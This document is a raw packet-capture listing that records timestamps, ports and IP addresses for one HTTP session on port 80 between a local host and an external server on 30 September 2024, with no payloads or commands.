Sep 30, 2024 13:59:23.272700071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272715092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272728920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272738934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272744894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272762060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272789955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272849083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272864103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272876978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272890091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272895098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272905111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272919893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272919893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272936106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272945881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272977114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.272981882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.272995949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273010015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273020029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273022890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273037910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273046970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273052931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273073912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273102999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273122072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273137093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273149967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273160934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273175001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273195028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273684025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273698092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273714066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273730993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273751020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273762941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273782969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273796082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273797989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273812056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273821115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273828030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273842096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273844957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273857117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273870945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273873091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273900032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273910046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273922920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273926020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273938894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273951054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.273952961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.273973942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.274000883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.274616003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274665117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.274789095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274804115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274816990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274837017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.274857998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.274969101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274983883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.274998903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275012970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275012970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275039911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275064945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275140047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275154114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275178909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275191069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275325060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275340080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275368929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275381088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275525093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275538921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275552988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275566101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275572062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275579929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275592089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275593996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275608063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275618076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275623083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275649071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275671959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275675058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275687933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275703907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.275707006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275723934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.275738955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358283997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358335972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358369112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358386040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358400106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358407974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358417034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358433008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358434916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358449936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358475924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358478069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358493090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358494997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358505964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358530045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358534098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358550072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358557940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358563900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358577967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358587980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358613014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358616114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358629942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358644962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358653069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358660936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358673096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358685970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358686924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358701944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358716011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358732939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358736038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358760118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358764887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358779907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358779907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358793974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358798027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358819962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358823061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358840942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358851910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358866930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358874083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358881950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358891964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358899117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358905077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358918905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358937025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358937979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358956099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358962059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.358968019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.358988047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359010935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359024048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.359039068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.359065056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359075069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.359086037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359090090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.359103918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.359110117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359129906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.359142065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363171101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363229036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363311052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363327980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363346100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363353968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363360882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363363981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363369942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363377094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363392115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363400936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363409996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363416910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363425970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363435030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363476038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363480091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363496065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363504887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363508940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363516092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363523960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363523960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363532066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363545895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363554001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363563061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363563061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363569975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363590956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363631010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363790989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363806963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363820076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363833904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363840103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363848925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363862991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363864899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363888025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363898039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363904953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363904953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363928080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363934040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363934994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363943100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363956928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363964081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363971949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.363975048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.363981009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364032030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.364423990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364439011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364447117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364454985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364468098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.364511013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365669012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365684032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365699053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365711927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365716934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365725994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365742922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365742922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365773916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365792036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365818024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365829945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.365854979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.365871906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366466045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366480112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366493940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366508961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366513014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366523027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366533995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366563082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366600990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366617918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366631985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366643906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366647005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366662979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366671085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366681099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366694927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366722107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366748095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366763115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366790056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366801023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.366951942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366967916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.366995096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367012024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367716074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367732048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367748022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367763042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367765903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367789984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367809057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367860079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367875099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367888927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367902994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367902994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367917061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367918968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367933035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367938995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367949009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367960930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.367964029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.367989063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.368014097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.368033886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.368047953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.368079901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449565887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449599981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449615002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449624062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449637890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449649096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449654102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449668884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449673891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449686050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449704885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449713945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449727058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449740887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449742079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449753046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449757099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449771881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449781895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449793100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449800014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449807882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449814081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449821949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449832916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449836969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449851036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449862003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449866056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449876070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449883938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449892044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449902058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449906111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449917078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449920893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449933052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449934006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449949026 CEST	49721	80	192.168.2.6	5.42.101.62
